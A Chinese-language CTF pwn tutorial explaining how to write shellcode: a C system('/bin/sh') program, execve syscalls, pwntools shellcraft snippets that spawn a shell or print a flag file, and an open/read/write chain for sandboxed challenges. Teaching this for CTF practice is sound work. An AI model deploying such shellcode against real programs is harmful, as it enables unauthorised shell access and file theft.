shellcode
1、shellcode的定义
我们pwn的最终目标是打开一个shell,从shell中输入指令打印flag文件里的flag,而这个shell打开方法就是运行shellcode。
2、shellcode的编写
1、通过程序编写
#include"unstd.h"
void main()
{
system("/bin/sh");
exit(0);
}
然后你自己编译汇编得到对应的机器语言就行了,大家自己去gdb调试一下就会发现他实际上是调用system这个函数的,可是如果有这个函数我们直接栈溢出调到执行这个函数不就行了吗?为什么要这样,所以这个基本没人用
2、触发中断
我们通过触发中断(int 0x80或者syscall),进行系统调用,这个利用的就是system("/bin/sh")底层是调用execve("/bin/sh",0,0)
x86 execve syscall:
x64 execve syscall:
这个我们只需要用汇编语言调好参数就行了,然后汇编成机器语言就得到了shellcode,这边我就不详细展示步骤了,因为我们还有更简单的
3、pwntools生成
pwntools有强大的功能可以帮助我们直接生成shellcode
x86:
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')#设置目标架构,不用太了解,直接用
shellcode=asm(shellcraft.sh())#生成shellcode,asm函数是进行汇编
x64:
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
这个有一点要注意,第二种方法写出来的很多0,如果程序有特判不能有0那就不行了,可以改成第三种方法,这个没0,还有一个很恶心,特判不能有b字符和n字符,可是没有参数/bin/sh,我们咋搞,那就不要运行shell了呗,直接退役(bushi),我们可以换个思路,既然不能运行shell我们要的是flag,那我们直接打印flag不就好了吗
sh=asm(shellcraft.cat('flag'))#相对于方法三就只要吧第三行改成这个就行了
3、orw变式
这个呢就是针对一些恶心的题目,开了沙箱,只能调用orw(open,read,write)这三个函数或者其他一些影响不大的函数,反正就是没有cat和system还有execve,那么我们就要用这三个函数来搞,思想就是用open函数打开flag这个文件,然后用read读入到程序中,在用write输出到我们屏幕上
1.open(‘/flag’)
2.read(3,buf,0x100)
3.write(1,buf,0x100)
其中0x100都是读入输出大小,第一个参数1和3是读入和输出的位置,感兴趣的自己了解,不感兴趣的照抄就行,buf是程序的一段地址要求可读可写,大家自己去ida找,找到后就可以用pwntools直接生成了
sh=shellcraft.open('flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)